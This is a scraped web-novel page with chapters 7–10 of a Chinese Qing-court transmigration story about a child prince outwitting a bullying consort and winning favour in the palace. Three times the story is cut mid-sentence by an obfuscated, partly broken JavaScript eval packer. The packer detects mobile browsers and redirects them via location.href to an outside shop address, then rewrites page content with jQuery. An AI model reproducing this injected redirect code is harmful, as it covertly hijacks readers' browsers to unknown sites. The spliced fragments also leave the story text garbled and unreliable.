《(清穿)我靠绿茶成了后宫团宠》 7. 绿茶的第七天 “平安,你去哪里了?” 皇帝驾临,储秀宫的小主们都得出来迎接。 戴佳贵人都换了一身妥帖又不惹眼的衣裳出来,结果一回头,发现儿子跑不知哪里去了。 胤祐及时地从拐角处跑出来,“额娘,我在这里。” 戴佳贵人瞧了眼他手里抓的蚂蚱,“这蚂蚱要养起来吗?先给姑姑收着好不好,咱们赶紧去换衣服,皇上要过来了。” 胤祐不由得感慨,戴佳贵人对亲儿子是真的宠溺没底线,他这岁数,其他妃嫔都恨不得天天拎着儿子念书,唯有戴佳贵人见他愿意出来玩,不但不阻止,还哄着他开心。 他松开手,让那只蚂蚱逃走,“不用了,这蚂蚱太小了,回头我再抓一只大的。” 希芸姑姑松了口气,“咱们阿哥有本事,回头肯定能抓到。” 匆匆换了身衣裳,戴佳贵人领着胤祐去储秀宫宫门外时,丽贵人早已在外面候着了。 九月天凉,丽贵人穿着宝蓝色缎绣云鹤纹袷便袍,外罩同色马褂,两把头簪着点翠宝石珠花,浑身上下说不出的气派。 瞧见戴佳贵人跟胤祐出来,丽贵人先是扫了眼戴佳贵人的穿着,见她穿着半旧不新的藕荷色菊花纹衬衣,身上首饰也不过是一两根银簪,便自觉得意,眼神轻蔑,“戴贵人可出来了,可真是身份贵重,等到这会子才出来?” 戴佳氏淡淡道:“皇上翻牌子的是丽贵人,我跟七阿哥早出来晚出来有什么要紧 。” 她并不想跟丽贵人争执,索性说一两句好话让丽贵人高兴。 果然,丽贵人脸上露出受用神色,拂了拂如意形的玉耳坠,“这话倒是,戴姐姐难得有些自知之明,知道今儿个谁才是正主儿。” 希芸姑姑咬着嘴唇,压着火气。 黄英笑道:“咱们小主今儿个这身打扮光彩照人,便是有些人有心打扮,也不过是东施效颦。” 丽贵人唇角勾起,满脸都是自得。 胤祐没说话,只是冲里头做了个手势,小邢子瞧见了,便点点头,立刻松开捂着京巴的手,将那条狗往外面一推。 那条狗认主,一被放出来,就汪汪叫着直奔着丽贵人过去,一把扑在丽贵人怀里。 丽贵人起初吓了一跳,等瞧见是自己的狗时,转怒为喜,“哎呦,是百顺啊,怎么跑这里来了?” “百顺这狗估计是机灵,知道小主的好事近了,所以特地跑出来讨小主开心。”黄英也忍不住笑,说了几句奉承的话。 那条狗在丽贵人怀里打转,丽贵人只当小狗跟她撒娇,等摸到手感不对时,已经晚了,“什么东西,这么黏糊糊的!” 黄英听得丽贵人语气不对,忙上前抱起百顺,一上手就发觉有问题了,百顺身上的毛发不知粘上了什么东西,粘手的很,“哎,是蜂蜜!百顺上哪里沾上蜂蜜的。” 她抬头一瞧,丽贵人身上的便袍已经没法看了,那蜂蜜黏糊糊,格外明显,不只是衣裳,丽贵人的手上也是各种脏污。 胤祐看在眼里,心里一乐。 小邢子挺聪明的,还知道让那条狗在地上滚一圈。 “这,这该死的狗,我这衣裳弄脏了可怎么是好?!”丽贵人气急败坏地跺脚,瞧着那条狗的眼神,哪里还有刚才的和蔼,只恨不得将那条狗给生吃了。 胤祐侧耳听了听动静,“额娘,我听见静鞭声了,是不是皇阿玛要过来了?” 戴佳氏并没有听到,不过听胤祐这么一说,也紧张起来,蹲下身给胤祐理了理衣裳,“平安,等会儿你皇阿玛过来,可得规矩点儿,知道吗?” “额娘,我一向很规矩的。” 胤祐点点头,他扭过头看向丽贵人,“丽娘娘,您要是以这身衣裳见皇阿玛,岂不是御前失仪?” 丽贵人当然知道不能这么见皇上。 她可不敢试探皇上对她的包容有多大,何况这回皇贵妃也跟着过来,皇贵妃可不比贵妃好糊弄。 她咬咬牙,瞪了胤祐一眼,“用你多嘴!”随后看向黄英等人,“还愣着干什么,快回去帮我换衣裳,洗手啊!” 黄英等人不敢耽误,一阵风似的簇拥丽贵人回去换衣裳。 胤祐眼里掠过一丝笑意。 小邢子悄悄地过来了。 等康熙跟皇贵妃一行人过来时,丽贵人已经换上内务府前几日送来的花卉樗蒲纹妆花缎氅衣。 不得不说,人靠衣装佛靠金装。 这衣裳以金线织出花纹,繁复艳丽,尤其是在日光下更是格外闪耀,将丽贵人的姿色都衬得美艳了几分。 “嫔妾给皇上请安,给皇贵妃娘娘请安,皇上金安,皇贵妃娘娘金安。” 丽贵人站在前头,娇滴滴地给康熙跟皇贵妃行了礼。 康熙下辇子的时候,眼里掠过些惊艳神色,上手搀扶了丽贵人起来,“起来吧,你今日这身打扮倒是叫朕眼前一亮。” 皇贵妃眼神扫过丽贵人的衣裳,若有所思地看向戴佳氏跟胤祐。 胤祐隐约察觉到视线,抬起头一看是皇贵妃,便冲皇贵妃咧开嘴角,笑了笑,“皇贵妃娘娘好。” 他这一声招呼,把康熙的视线吸引了过来。 康熙瞧见胤祐时,怔愣了下,有些不敢认,这是七阿哥? 他记忆里的胤祐一向阴沉不爱笑,即便出现在宫宴家宴上,也死气沉沉,沉默寡言,那脸上仿佛无时无刻都笼罩着一层阴郁之气。 以至于康熙每看到这个儿子,都心里不耐。 但眼前的七阿哥虽然瘦弱,可双眼有神,时刻带着笑容,嘴角的酒窝更显得可爱。 “本宫很好,听孙太医说你身体好多了,怎么样,最近还夜里盗汗吗?”皇贵妃冲胤祐招了招手。 胤祐走上前去,虽然仔细看,还能看得出右脚有些跛,但他的神态自若,反而叫人生不出嫌恶之心,“回皇贵妃娘娘的话,儿臣这几日盗汗少了,想来是娘娘送的鹿茸的功劳,还得多谢娘娘呢。” 皇贵妃抿着唇笑着摸了下胤祐的脑门,“一点儿东西值什么,回头本宫再打发人送过来,你还小,有什么病根趁着年级小拔除了才是,可千万不要见外。” “是,皇贵妃娘娘,我额娘常说娘娘心善大方,送的东西又太贵重,咱们收了又不知送什么回礼报答娘娘的好。”胤祐看向戴贵人,戴贵人不好意思低声训斥:“胤祐,别乱说话。” 康熙闻言倒是多看了戴贵人一眼,心里头对戴贵人有些改观,这知恩图报倒是难得。 “皇上,皇贵妃娘娘,这地方风大,咱们快进里面说话吧。” 丽贵人心里头气得牙痒痒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967415|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 皇上好不容易来一趟,跟她说没几句话,倒是叫七阿哥这个瘸子抢走了风头。 想到这里,她不禁瞪了胤祐一眼。 胤祐却冲她笑了下,这可把丽贵人给笑糊涂了,不知道七阿哥这笑是什么意思。 “哎,臣妾倒给忘了正事,”皇贵妃掩唇笑道,“皇上,咱们快去丽贵人那边坐坐,不然丽贵人怕是要吃醋了。” 丽贵人脸上一红,拉了拉康熙袖子。 康熙倒也赏脸,点了下头,“那就去绥福殿。” 宫女们奉上茶点,胤祐愣是拉着戴贵人厚颜无耻地蹭了进来,丽贵人心里窝火,也不好说什么,还得客气招呼道:“戴姐姐跟七阿哥也吃茶。” 她眼神跟刀子似的看向胤祐母子俩,端茶送客的意思再明显不过,识趣的赶紧吃了茶就走。 戴贵人满心不自在,正要起身告辞,胤祐却夸赞道:“丽娘娘这里的茶好香,是今年的新茶吧。” 丽贵人脸上露出几分得意:“七阿哥嘴巴倒是刁,这也能喝的出来,是今年的新茶,皇上赏赐我的。” 康熙道:“怪不得朕闻着味儿熟悉,这茶泡的不错。” 丽贵人欣喜道:“皇上喜欢,那就多来,沏茶的手艺是嫔妾教给奴才的,嫔妾沏茶的手艺更好。” 皇贵妃嘴角掠过一丝笑意,“丽贵人真是玲珑心窍,这身衣裳也不错,瞧着针线活挺仔细,莫非是丽贵人的活计?” “朕刚才就觉得这衣裳好看,就是这料子像是在哪里见过。” 康熙搁下茶盏,盯着丽贵人的衣裳,思索道。 胤祐“天真无邪”地说道:“这是皇贵妃娘娘赏给儿臣跟儿臣额娘的,皇阿玛许是在皇贵妃娘娘那里见过吧。” 康熙一拍脑袋,“是了,朕说怎么瞧着眼熟,这既是皇贵妃赏给你们的,怎么到了丽贵人身上去?” 他疑惑地看向丽贵人。 丽贵人后背窜起一股寒意,忙解释道:“是戴贵人转赠嫔妾的。” 她冲戴贵人看去,眼神带着警告。 “不是啊。”胤祐挡在戴贵人跟前,一本正经地说道:“这明明是丽娘娘花钱跟我额娘买的。” “花钱?”皇贵妃莞尔道:“花了多少钱买的?” 胤祐扭过头看向戴贵人,“额娘,丽娘娘给咱们的金镯子值多少钱啊?” 戴贵人手心里都是冷汗,她拉过胤祐,“平安,别乱说话。” “戴贵人,这有什么不能说的,莫非这里头有什么事不成?” 皇贵妃皱起眉头询问。 戴贵人脸上露出迟疑神色。 丽贵人却匆忙解释:“皇贵妃娘娘,没什么事,是,是七阿哥胡说八道。” “我才不是胡说八道,丽娘娘,我这就去拿镯子过来,皇阿玛,皇贵妃娘娘,你们一定要相信我。” 胤祐鼓起包子脸,跺跺脚,拉着小邢子朝着后面跑去,不一时,他就回来了,将先前丽贵人大方地赏赐的虾须金镯摆在众人眼前,“皇阿玛,你们瞧,就是这个镯子!” 那个虾须金镯做工很精美,但并不是很值钱,跟妆花缎比,就更难以比拟了。 用这金镯子买妆花缎,这哪里是买,分明就是欺负。 康熙瞧着那镯子,脸色渐渐沉了下来。 8. 绿茶的第八天 “皇上,这是误会,这只金镯子是嫔妾的珍爱之物,所以嫔妾才以此跟戴姐姐交换!” 丽贵人并不算蠢钝,至少还会看人眼色,见康熙神色不对,忙拉起裙摆跪下,又看向戴贵人,“戴姐姐,您说,是不是?!” 戴贵人眼里露出迟疑神色。 她对丽贵人有着三分忌惮,但又怕丽贵人记恨。 胤祐自然知道她的脾气,当下便做出困惑不解的模样,道:“丽娘娘,这是您喜欢的东西,那那一日您要跟我额娘换的时候,怎么还非得逼着我额娘跟您换呢?” 他歪了下头,满脸写着困惑,“若是我的心爱之物,我定然舍不得给旁人。” “……这,我我” 丽贵人不想七阿哥竟这般牙尖嘴利,一时被问的哑口无言,只好冲黄英等人使眼色。 黄英知道厉害,赶紧陪笑着打圆场,“七阿哥,您说错了,我们小主哪里是逼戴贵人换的,这事分明是你情我愿,况且小主跟戴贵人相处一向融洽,姊妹间互换些东西,又有什么。” 丽贵人立刻配合地拿帕子擦眼睛,红着眼眶:“皇上,嫔妾真的没强夺戴姐姐的东西,反倒是戴姐姐,先前送缎子给嫔妾的时候,说得好听,怎么如今,到了皇上跟前,却反咬嫔妾一口,嫔妾这,这真是百口莫辩!” “戴贵人!”丽贵人扭过头,咬着嘴唇,眼里带着怒火地看着戴佳氏,“嫔妾跟你无冤无仇,你为什么这么陷害我?” “我……” 戴佳氏简直哑口无言,深深体会到什么叫做哑巴吃黄连——有苦说不出。 前些日子分明是丽贵人觊觎皇贵妃赏赐,将妆花缎夺走,怎地她丝毫不感到心虚,反而还倒打一耙! 康熙脸上露出迟疑神色,眼神在戴佳氏跟丽贵人中间来回。 胤祐心道不好。 这丽贵人果真不是吃素的。 被她这么倒打一耙,这事反而成了公说公有理婆说婆有理。 他好不容易设计了这么一番局面,要是就这么功亏一篑,岂不可惜? 何况丽贵人心胸狭窄,性格刻薄,今日若是打蛇不死,只怕日后储秀宫,他们的日子更不好过。 思及至此,胤祐心里拿定一个主意,走上前去,做势要跟丽贵人理论,拉了拉丽贵人的袖子:“丽娘娘,您说的不对,我额娘不是这样的人,您不能胡说。” 丽贵人心里不耐烦,正要说话,手一抬起,却见那七阿哥突然摔在地上,额头正正好就碰在地砖上,孩子面皮娇嫩,加上地上有块石子,登时便拉出个口子,头也破了,血也流了。 “平、平安!” 戴贵人瞧见儿子受伤,当下如同被伤了幼崽的母狼一般扑了上去,抱住胤祐,“平安,快来人啊,快去请太医来。” “七阿哥,这、这花影快去请太医。” 皇贵妃也吓了一跳,手上的团扇搁在桌上,见七阿哥头破血流,立刻冲花影说道。 花影赶紧答应着去了。 皇贵妃的人一去,孙太医很快过来了。 他瞧见七阿哥脸上的模样时,愣了下,也不敢多问,赶紧拿帕子擦拭干净伤口,见只是个小口子,心里悄悄松了口气,“皇上,皇贵妃娘娘不必担心,伤口不大,回头上点儿玉痕膏就好了。” “那就好,”皇贵妃捂着胸口,“本宫真是吓得不轻,丽贵人你今日实在太过刁蛮,当着我跟皇上的面,你都敢推七阿哥!” 丽贵人张了张嘴巴,满腹委屈,“娘娘,嫔妾真的没有,嫔妾没有推七阿哥,是他自己……” “皇贵妃娘娘,是胤祐自己站不稳摔倒的。” 胤祐苍白着脸,挣扎着要坐起身来,他满脸急切地辩驳道:“您千万别怪丽娘娘,不然回头额娘跟我日子就不好过了,还有小邢子,小邢子会再被丽娘娘放狗咬的。” 丽贵人听见前面那句话的时候还以为胤祐是要解释清楚,可听见后面的话,却发现不对劲。 这七阿哥分明是在告她的黑状! 她又急又怒,“你胡说,皇上,皇贵妃娘娘,您千万不能相信七阿哥的话,嫔妾是冤枉的。” “皇上!” 小邢子心跳如擂鼓,终于鼓起勇气站出来,“求皇上,娘娘为我们小主跟阿哥做主,我们小主跟阿哥天天都受丽贵人欺负,前些日子,丽贵人放狗咬人,若不是奴才护着,被咬的就是我们阿哥了。奴才一条贱命死不足惜,可阿哥怎能被这般折辱!” 小邢子说罢,豁出去一把拉起裤腿,指着脚上狰狞的伤口:“奴才斗胆请皇上,皇贵妃娘娘一看,这伤口就是丽贵人的狗咬的,到如今还没痊愈,我们阿哥心疼奴才,又不敢说丽贵人的不是,只能求太医帮忙给奴才开个方子将就着治。” 康熙的脸色越来越阴沉。 他看向梁九功。 梁九功走到小邢子跟前,上手仔细瞧了瞧,回头对康熙道:“回万岁爷,的确是狗咬出来的痕迹。” 皇贵妃也怔了下:“这事先前臣妾也知晓,不过臣妾还以为是狗不小心咬到的,怎么,竟然是丽贵人纵狗行凶?” “不,不是的,嫔妾不是,不是故意的。” 丽贵人脸色都白了,汗如雨下,想狡辩,偏偏储秀宫养狗的人只有她,这事推都推不出去。 “朕真没想到丽贵人你居然这般恶毒!” 康熙猛地站起身来,“来人!” “奴才在!”梁九功等人答应一声。 “将绥福殿的人拉下去审问,朕要知道,丽贵人到底干了哪些好事!” 康熙怒道。 “嗻!”梁九功一挥手,几个太监立刻上前,将黄英等人拿下去审问。 御前伺候的人手段就没有逊色的。 况且黄英等人本不过是倚仗丽贵人,才敢那么嚣张霸道,本质不过是欺软怕硬的主儿。 两三个板子下去,一个个全都招了。 丽贵人平日里怎么指示她们去丽景轩前面阴阳怪气,怎么抢走戴贵人份例里的好东西,连同七阿哥份例也难逃一劫,又是怎么嘱咐她们去送礼讨好惠妃等人。 这些事其实都是宫里头常见的事。 搁在以往,丽贵人怎会放在眼里,可偏偏赶上现在康熙盛怒,自然是轻罪重罚。 “好一个丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967416|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵人,朕倒不知道你竟有这些手段!” 康熙越是生气,面容上反而越发沉静。 “皇上,嫔、嫔妾是一时糊涂,嫔妾知错了。” 丽贵人听着皇帝的语气,早已吓哭了,泪如雨下,膝行着到康熙跟前,却被康熙拂袖甩开。 “来人,贵人安氏性情恶毒,纵下犯上,降为官女子,褫夺封号,打入冷宫!” 康熙眼神不善地看着丽贵人。 丽贵人摔在地上,鬓发凌乱,等听见这番话,更是只觉如遭雷劈,她不敢相信皇帝对她居然这么绝情,“皇上,嫔妾真的不是故意的,您难道忘了您曾经夸嫔妾貌美心善吗?嫔妾伺候您没有功劳也有苦劳啊。” 她一把抓住康熙的手,涕泪俱下。 皇贵妃蹙起眉头,轻咳嗽一声:“花影,安官女子糊涂了,你们还不快把人带下去!” “是,娘娘!” 花影明白主子的意思,拿了帕子堵住安氏的嘴,直接把人拖了下去。 什么功劳,什么苦劳,主位娘娘都尚且不敢说这样的话,一个小小贵人居然敢口出狂言! 眼瞧见安氏被拖走,康熙只觉今日的事让人心里厌烦,便皱起眉头起身要走。 “皇阿玛!” 胤祐突然猛地坐起身,呼唤了皇帝一声。 康熙站住脚步,疑惑地回过头看这个儿子。 胤祐眼里带着孺慕,他生得单薄,可一双明亮的眼睛弥补了这点儿缺陷,“皇阿玛慢走,今日多亏皇阿玛为额娘跟儿臣主持公道,皇阿玛真是英明神武,千古名君。” 千穿万穿马屁不穿。 康熙如今有十来个儿子,除却太子胆子大,其他儿子见了他都有些敬畏,谨言慎行尚且来不及,哪一个敢向七阿哥说出这样直白奉承的话。 皇贵妃闻言不禁笑道:“只是你皇阿玛神武,本宫难道没有帮忙说话?” 胤祐露出不好意思的神色,拉了拉皇贵妃袖子,“皇贵妃娘娘人美心善,跟皇阿玛天生一对。” 皇贵妃倒不好意思了,嗔地拍了胤祐一下,“你这孩子,倒是会说话。” 康熙面色稍微转晴,手负在身后,“你身上有伤,好生养着就是,朕改日得空再来看你。孙太医。” “奴才在!”孙太医打了个千。 康熙手指了指胤祐,“七阿哥身子骨单薄,你好生照料,不容有失。” “是,奴才记住了。”孙太医忙答应道。 康熙嘱咐完了这句话,这才带着皇贵妃离开。 皇贵妃做事周到,回头还派人送了金疮药来给胤祐,而与此同时,整个后宫都为丽贵人突然被发落而震惊。 丽贵人进宫不到两年就升为贵人,得宠程度其实不低的,不然也不至于一使银子,敬事房就把她的绿头牌往前挪动。 这要是不得宠的,便是想花银子,人家也未必肯收。 原先众人都以为丽贵人能跟德妃等人一样,将来生个皇子晋升为妃嫔。 哪里想到,这一下子居然掉了下来,还直接被打入冷宫。 四妃都忍不住派人去打听到底是什么个缘故! 9. 绿茶的第九天 “奴才打听过了,丽贵人被皇上怪罪主要还在于七阿哥跟戴贵人,” 樱桃站在当地,呵腰回话,“听说是因为丽贵人抢了戴贵人妆花缎的缘故。” 惠妃眉头皱起,“就只是因为妆花缎?” 卫常在却是一怔,眼里掠过迟疑,忧虑神色。 樱桃道:“听说妆花缎是起因,素日里丽贵人对戴贵人母子也颇为不客气,今儿个赶上皇上跟皇贵妃都过去,亲眼瞧见了,因此便……” “行了,本宫知道了。” 惠妃揉捏着眉心,只觉头疼不已,安氏果真不争气,自己平日里提醒她收着些性子,当面答应的倒是好,背地里却阳奉阴违,今儿个出事也算是活该。 “既然皇上难得关心七阿哥,你去库房挑选些礼物,给七阿哥跟戴贵人送过去,也算是本宫的一点儿心思。” 惠妃想了想,淡淡说道。 她说完这话,眼神扫向卫常在,却见卫常在脸色苍白,额头上冒汗,不由得心里疑惑:“卫常在是怎么了?怎么瞧着气色不太好?” “回禀娘娘,嫔妾似乎做了一件错事。” 卫常在屈膝跪下:“求娘娘帮嫔妾一把,嫔妾一定记住娘娘的恩情。” “你这是……”惠妃满脸不解。 卫常在红着眼,将自己先前收下丽贵人送来的缎子之事说了出来,她见惠妃脸色微变,忙辩解道:“娘娘明鉴,嫔妾事先并不知道缎子来历,倘若嫔妾知道,嫔妾断然不会收下的。” 她才因为戴贵人母子倒霉,被降为常在,又不是猪油蒙了心,又怎会在短期内给自己找麻烦。 惠妃握紧手又松开,看着卫氏的眼神叫一个恨铁不成钢。 “你——不过一匹缎子,你要她的做什么?这下可好,也不知道戴贵人母子知不知道这件事!” 更重要的是皇上跟皇贵妃知不知道? 卫氏低着头,嘴唇几乎要咬破皮了,她就是因为担心丽贵人把自己供了出来,所以才告诉惠妃。 “娘娘,奴才愚见,不管戴贵人母子知不知道此事,此事咱们倒不如大大方方地跟她们说清楚,了不起多陪赠些礼物,也算是卫常在弥补,”樱桃想了想,说道:“这么一来,纵然有些人想使坏,也寻不出借口来。” 惠妃颔首:“也只能如此,卫常在,你明日亲自走一趟,把东西加倍送回去。” “是,多谢娘娘大恩大德!” 卫常在磕头有声,心里感激之余却也不免发愁。 她的私房有数,今年又被扣了一年年例,如今还要补偿戴贵人,这年底打赏下面人都不知道该如何从哪里腾挪出这笔钱来。 同人不同命。 同一个紫禁城里,戴贵人今晚难得睡了一个好觉。 储秀宫去了丽贵人,便只有她们母子,她再也不必担心有人藏在暗处盯着她们。 胤祐也睡得很是香甜,次日醒来便有些晚了,得知卫氏亲自送东西来赔偿,胤祐眉头微挑,“卫常在来得真早。” “是啊,她今日一大早来,倒是把我吓了一跳。” 戴贵人给胤祐穿衣服,瞧见他额头上那伤口,不禁心疼,“这几日可得忌口,不许吃发物,希芸。” “奴才在。”希芸答应一声。 戴贵人嘱咐道:“叫下面人把地打扫干净,别哪里有石子,磕了碰了可不是小事。” “是,小主。”希芸满脸喜气,脆生生地答应。 平日里寂静无闻的储秀宫今儿个却注定没有时间让希芸姑姑去盯着下面的小丫头扫地擦地。 还不到晌午,贵妃,德妃等后宫妃嫔都送来了各种滋补的食材,诸如燕窝、松茸、银耳。 戴贵人受宠若惊,不由得惶恐,“这后宫娘娘们送这么些好东西过来,是做什么?平白无故的,咱们总不能收人家的好东西。” 希芸姑姑却看得透:“小主放心收下便是,娘娘们送这些是给阿哥的,也是送给皇上瞧的,咱们不收反而不合适。” 胤祐心里微微点头。 希芸姑姑果然聪明。 “那、那咱们就收下,”戴贵人蹙起眉头,“只是咱们该以什么回礼才合适?” “额娘,您打的络子很好看,要说好东西,咱们能有什么好的,便是好的,也比不过后宫娘娘,倒不如送您亲自做的,如此可见咱们的一番心意。”胤祐给戴贵人提了个建议。 “这,这络子未免太单薄了吧?”戴贵人犹豫地说道。 希芸姑姑却若有所思地说道:“小主不如听阿哥的,咱们礼轻情意重,情意送到了比什么都强。” “那,那咱们就送络子吧,”见希芸姑姑也这么说,戴贵人这才下定决心,她拉着希芸姑姑去挑选自己素日打的络子,贵妃,四妃,端嫔、僖嫔这些都得送到。 得亏戴贵人素日勤勉,积攒下来的络子倒不在少数。 为了表示诚意,戴贵人还要亲自送上门去。 胤祐听见这话,立刻举手:“额娘,我陪您一块去,娘娘们送礼物也是为了我,我虽出不了什么好东西,可却能陪您跑一趟。” 在寻常事情上,戴贵人都是纵容自己儿子的,想也不想就答应下来。 胤祐先陪戴贵人去了皇贵妃跟贵妃宫里,这两位都没叫见,只收了礼便把人打发了。 胤祐也不气馁,握着戴贵人的手下台阶,问道:“皇贵妃娘娘的身体一直都这么不好吗?” 戴贵人叹了口气:“倒也不是,以前还成,是自从八格格去了,皇贵妃娘娘这心也跟着去了,哎,得亏还有四阿哥在跟前孝顺,不然真不知道皇贵妃娘娘这日子怎么过。” 四阿哥啊? 那不就是未来的雍正? 胤祐对大清朝的历史不太了解,却也知道九子夺嫡最后的大赢家是四阿哥。 他虽有心抱大腿,奈何四阿哥需要去上书房念书,神龙见首不见尾,这件事急不得。 “额娘,咱们现在先去翊坤宫拜见荣妃娘娘吧。” 胤祐眼睛一转,对戴贵人说道。 戴贵人想也不想就答应。 到了翊坤宫,荣妃却是让人请她们进去。 “戴妹妹快起来吧,七阿哥也起,赐座。”荣妃雍容坐在南窗下的炕上,她皮笑肉不笑,“两位今日可是稀客。” 荣妃话语里的不客气很是明显,戴贵人神色明显有些局促。 她示意希芸姑姑捧出匣子,道:“娘娘今日派人送了送礼来,嫔妾无以为报,往日做的络子倒还勉强能拿得出手,娘娘若是不嫌弃就留着把玩,当个扇坠子,玉佩坠子都好。” 瞧见匣子里的络子,荣妃眼皮抬起,稍微有些惊讶,冲滴云使了个眼神。 滴云走上前来将匣子捧到荣妃跟前。 荣妃正要把玩,外面有人通传道:“二格格到。” 话音未落,便听得掀帘子的声音,紧接着一个穿着碧青色莲花纹氅衣,十来岁的小姑娘跑了进来。 “额娘,我书房那本孤本怎么不见了?” 小姑娘一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967417|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵风似的跑到荣妃身旁,一手握着一卷书,一手则拉着荣妃的手,话语里带着些恼怒。 荣妃脸上尴尬,低声呵斥了一句:“和慧,你没瞧见戴贵人跟你七弟也在吗?” 和慧扭头一看,瞧见底下圈椅上坐着的戴贵人跟胤祐时,脸一下涨得通红,连忙扯了扯衣裳,做出乖巧模样跟戴贵人行礼。 戴贵人侧身受了半礼。 胤祐则是一蹦从椅子上下来,跟和慧作揖:“胤祐给二姐姐请安,二姐姐金安。” 和慧瞧见胤祐穿着天蓝色长袍,奶白的小脸上一本正经,额头上那破的小口衬得人看上去有几分可怜,心里便有些喜欢了,“七弟弟不必多礼,七弟弟跟戴贵人怎么过来了?” “胤祐是跟额娘来谢谢荣妃娘娘的关心的。” 胤祐作为一个过来人,怎能看不出荣妃对他们母子的不喜。 他也知道缘由,他们储秀宫属于西六宫,西六宫交由荣妃管理,昨儿个闹出那件事,康熙处罚了丽贵人,荣妃虽然没有被罚,却也难逃训斥。 如此一来,荣妃对他们母子俩难免有意见。 所以,他刚才才特地要让戴贵人先来给荣妃请安。 县官不如现管。 荣妃作为西六宫实际上的管事人,讨好拉拢她对他们母子绝对是利大于弊。 “荣妃娘娘送了好些燕窝银耳,胤祐跟额娘都感激的很,只是不知道要送什么才好,只能送额娘打的络子,还望荣妃娘娘不要嫌弃。” 胤祐抬起头,感激地看向荣妃。 五岁的孩子,才不到成人腰高,长得粉雕玉琢,说话奶声奶气,别说荣妃,就是二格格也都不禁觉得这个弟弟挺可爱。 二格格拿起那络子一看,松石绿打的柳叶,下面坠着一颗珊瑚珠子,倒是清新得很,“这个好看,额娘不如给了我吧。” “你若喜欢便拿去。”荣妃压根没把这些放心上,摆摆手说道。 二格格当下就把手里的书放下,将腰间的玉佩塞进络子里,那柳叶络子压着裙角,说不出的雅致。 二格格心里喜欢,不禁夸赞道:“戴贵人手艺真好,这色配的也好。” 戴贵人不好意思,起身道:“格格喜欢便是我的福气,倘若格格还要,回头我多送些给格格换着戴。” “那怎么好意思麻烦您。”二格格客气地笑着说道。 “不麻烦,不麻烦。”戴贵人颇为局促地回答。 眼瞅着亲额娘要把天给聊死了,胤祐忙打岔,做出好奇模样地问道:“姐姐刚才拿的是什么书?可是论语?” “你说这个?”二格格拿起书,道:“这是孙子兵法,我才抄写了前几卷,偏偏孤本不见了。” 胤祐好奇宝宝一样问道:“我能看看吗?” 二格格很是大方,直接将书递给他,还笑问道:“七弟能看懂这个?” 胤祐握着书,眼睛盯着书,不好意思地抬头看了看二格格:“我虽看不懂,可是看得出姐姐的字写的很好看,怪不得皇阿玛先前夸姐姐有才学,荣妃娘娘教导的好,我只怕拍马都赶不上姐姐的一二分本事。” 一句话同时夸了母女俩。 荣妃跟二格格脸上都不禁露出笑容。 适才还觉得七阿哥有些不顺眼的荣妃,更是心里暗忖道,戴贵人虽然笨嘴拙舌的,这个儿子倒是会说话的紧。 先前心里的不悦去了几分,仔细想想,这回的事也不能怪戴贵人母子,那丽贵人安氏欺辱她们母子,该死的是安氏才是! 10. 绿茶的第十天 出了承乾宫,胤祐手里多了一本手抄本的千字文。 这是二格格送给他的,还让他有不懂的只管来问,胤祐自然连连道谢。 戴贵人高兴地摩挲胤祐泛青的头皮,“平安好好读,好好学,要是能学得你二姐姐的才学,额娘心里也高兴。” 希芸姑姑在旁边道:“小主只管安心,咱们阿哥瞧着就是聪明孩子,肯定能学好,等明年去了上书房念书,更了不得了。” 希芸姑姑一番话把戴贵人哄得眉开眼笑。 接下来去惠妃,宜妃跟德妃这几处,几位主位妃嫔都见了戴贵人母子,说了几句客套话。 从德妃的永和宫出来,胤祐手里多了一颗藤球,这是德妃送的礼物,许是见胤祐年纪小,所以把这当玩具送给他了。 小藤球做得精致,抱在手里,里面的铃铛叮当作响。 没走几步,胤祐手上的球就不小心滑落,掉在地上弹跳着奔着前面去了,胤祐追上前去拿,却见那藤球咕噜噜滚着撞到一双靴子跟前。 那靴子的主人从地上捡起球来,伸手递给胤祐,“七弟拿好。” “给四阿哥请安,四阿哥吉祥。” 小邢子拂袖打千。 胤祐抬起头,瞧见跟前站着的面容俊秀少年,不由得一怔,随后脸上露出笑容:“多谢四哥,四哥怎么在这里?” 胤禛摸了摸鼻子,眼神不由自主地瞥了眼永和宫的方向。 身后苏培盛忙过来打圆场:“七阿哥,我们爷是过来这边走走,等会儿就回北三所去了。” 胤祐眨巴眼,若是他没记错,这个时辰是书房里上课的时候吧,四阿哥跑到这边来,只怕是为了见德妃。 他只做不知,点头道:“那我不耽误四哥的事了,我跟额娘先回去。” 他说完,就要转身。 四阿哥却拉住他的袖子,“且慢,七弟,我有些话问你。” 他看向苏培盛,扬了扬下巴。 苏培盛会意,笑着上前拉着小邢子等人避让到一旁过去。 